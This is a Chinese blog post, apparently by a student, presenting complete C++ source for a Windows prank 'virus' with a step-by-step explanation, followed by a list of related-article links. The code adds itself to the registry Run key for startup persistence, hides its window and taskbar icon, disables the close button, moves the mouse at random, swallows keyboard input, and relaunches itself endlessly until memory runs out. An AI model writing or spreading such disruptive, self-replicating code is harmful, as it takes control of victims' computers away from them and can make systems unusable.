目录

闲扯一会儿

进入正题

宏、头文件、命名空间

隐藏任务栏图标、禁用关闭键

检查是否第一次打开

提示语、开机启动、保存

提示语

开机启动

保存

开线程

隐藏控制台

抢内存

代码封装

再扯一会儿


闲扯一会儿

嘿嘿嘿!我又来了!

我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:

一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。

于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。

不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。

老师还给了我10积分,真好!接下来就可以自由活动了。

我上周不是写了一篇文章吗?

C++小病毒(VS版)

我想着那病毒,于是向老师申请开网,老师同意了。

于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。

可出现了以下问题:

1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。

2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。

所以就有了这篇文章。

进入正题

在这里,提一嘴,如果你用的Dev-C++,请参见如何更改C语言标准并更改至C++11。

宏、头文件、命名空间

#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream>              //输入输出
#include<string>                //字符串处理
#include<Windows.h>             //Windows系统
#include<conio.h>               //按键信息
#include<thread>                //线程
#include<tchar.h>               //_T()等
#include<fstream>               //读取与保存
using namespace std;            //为了方便

检查是否第一次打开

其实就是打开一个文档,读取内容,再进行一个判断。

int check = 0;
ifstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{//是第一次打开
}
//不是第一次打开

提示语、开机启动、保存

这部分在判断语句中写。

提示语

cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();

开机启动

见C++小病毒(VS版)

保存

为了让复制的程序知道它不是第一次被打开。

ofstream out("save.txt");
out << 1;
out.close();

开线程

写两个线程函数。

int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{srand(time(0));while (1){SetCursorPos(rand() % x, rand() % y);}return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{while (1){FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));}return 0L;
}

在判断外写上两句。

HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);

隐藏任务栏图标、禁用关闭键

这个还算简单。

//隐藏任务栏图标
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
//禁用关闭键
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);

隐藏控制台

在主函数中写。

hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{ShowWindow(hWnd, SW_HIDE);
}

抢内存

在主函数中写。

while (1)
{char s[100] = "start ";system(strcat(s, argv[0]));
}

代码封装

完整代码见下。

#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{srand(time(0));while (1){SetCursorPos(rand() % x, rand() % y);}return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{while (1){FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));}return 0L;
}
int main(int argc, char** argv)
{ifstream in("save.txt");in >> check;in.close();if (check != 1){cout << "该程序是病毒!后果自负!" << endl;cout << "按任意键以代表您已知晓并启动病毒……" << endl;_getch();HKEY hKey;if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){TCHAR strExeFullDir[MAX_PATH];GetModuleFileName(NULL, strExeFullDir, MAX_PATH);TCHAR strDir[MAX_PATH] = {};DWORD nLength = MAX_PATH;long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0){RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));RegCloseKey(hKey);}}ofstream out("save.txt");out << 1;out.close();}HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);CloseHandle(hThread);hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);CloseHandle(hThread);HWND hWnd = GetConsoleWindow();SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);HMENU hmenu = GetSystemMenu(hWnd, false);RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);LONG style = GetWindowLong(hWnd, GWL_STYLE);style &= ~(WS_MINIMIZEBOX);SetWindowLong(hWnd, GWL_STYLE, style);SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);ShowWindow(hWnd, SW_SHOWNORMAL);DestroyMenu(hmenu);ReleaseDC(hWnd, NULL);hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);if (hWnd){ShowWindow(hWnd, SW_HIDE);}while (1){char s[100] = "start ";system(strcat(s, argv[0]));}return 0;
}

再扯一会儿

这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,加了个线程,代码也不算长。

哦,对了,再提一嘴,有虚拟机的帮忙看看。

好像该扯的都扯完了。

算了,早点睡了,拜拜!

C++小病毒(通用加强版)相关推荐

  1. 微擎小程序怎么配置服务器域名,随便撸源码源码微擎小程序通用配置图文教程,教会你怎么配置微擎小程序!...

    最近很多网友都在问站长微擎小程序如何配置使用,微擎小程序配置 查看更多关于 微擎小程序配置 的文章 主要分几类,之前已经写过人人商城小程序的配置教程了,大家反响非常好,简单就学会了配置人人商城小程序. ...

  2. 用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)

    相信大家都玩过这样的一个批处理代码吧 :1 start cmd goto 1 把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹 但是,作为一个病毒,这个简单恶搞代 ...

  3. C++小病毒(VS版)

    目录 1.前言 2.教程 2.1.宏.头文件与命名空间 2.2.隐藏控制台 2.3.推卸责任 2.4.开机启动 2.5.开线程 2.6.抢内存 2.7.完整代码 3.总结 1.前言 Hello!我来了 ...

  4. 一个半成品小病毒专杀

    一个半成品小病毒专杀 最近一个文件夹伪装病毒在同学的电脑内肆虐啊,动手写了一个小时就写不下去了.不想写清除部分,只有检测部分的代码,其实检测出来的时候,顺手就可以杀掉了.最近考试耗费的时间多,懒得写了 ...

  5. html病毒编写,用bat写的一个小病毒

    用了三天才看完=.=,感觉作者整理整理可以把博客当书买了... 然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源...呵呵. ...

  6. 整蛊小病毒,自己拿来快乐

    今天刚学了关于网络安全的东西,稍微学了点小的东西,来做个笔记. 自己玩的话,最后在虚拟机上玩!! 现在我来列举一下一些整蛊的小病毒(直接把代码丢在记事本内,把后缀改为.bat): 让桌面消失的病毒 @ ...

  7. 分享一些无害可以装13的小病毒

    我在电脑找到自己搞得小病毒,我写的是一些无害的小病毒,那么就来给大家们来分享一下一些病毒代码,而且解除也非常简单!不过你需要在你的杀毒软件中信任它才行哦,不然你还没开始运行就被自动删除了,搞得我的代码 ...

  8. 一个简单的U盘小病毒

    /// //一个简单的U盘小病毒,用C语言实现,没有破坏模块,很安全的. //这是一个强化版本,可以突破autorun.inf文件夹防御策略. //作者:冷却 //注意:此程序在用VC连接的时候要设置 ...

  9. Python实现小病毒

    Python实现的小病毒 代码如下 import tkinter.messagebox import os while True:tkinter.messagebox.showerror(" ...

最新文章

  1. 2017可信区块链峰会在京举办 可信区块链标准和测评结果公布
  2. Linux(CentOS 5)下安装Oracle10 客户端(转)
  3. 个人脚本收藏[不断更新 last update 2005-12-10]
  4. 【转】全排列算法非递归实现和递归实现
  5. 服务器所有文件,检索服务器端文件夹中的所有文件
  6. RS485 RS232
  7. 掌业宝服务器维护升级,奇游联机宝APP焕新升级 主机加速多设备各享最优区服...
  8. linux终端命令行用户名和密码,Linux入门篇 —— Linux 用户与组管理详解(system-config-users 命令行)| 七日打卡...
  9. Java 11 的新特性(上)
  10. Django:查询结果新增一列、查询结果字段名称更改、多个字段模糊查询
  11. Atitit 网络爬虫与数据采集器的原理与实践attilax著 v2
  12. 微型计算机硬盘接口种类,硬盘接口类型
  13. SCSI代码分析(0)SCSI层框架
  14. 华为IPD 研发模式
  15. JAVA编程语言基础第六章
  16. cad坐标归零lisp_CAD坐标Z归0问题
  17. 测试软件要求规范 (SRS)
  18. Python错误日志
  19. 基于python的批量网页爬虫
  20. 2023年国内所有期刊复合、综合影响因子等35指标数据库

热门文章

  1. 修改mysql字段的方法
  2. 如何不花钱得到一辆特斯拉Model 3,挖漏就成
  3. python 区间频数统计_pandas分区间,算频率的实例
  4. 全球及中国机械设备行业运行态势与市场规模分析报告2022版
  5. python pandas常用函数学习
  6. 网站搭建:从零搭建个人网站教程(2)
  7. 做网站服务器e3,用e3做游戏服务器
  8. dd-wrt的漫游方式
  9. 查看win7或者win10是否永久激活的操作流程
  10. req.getparameter()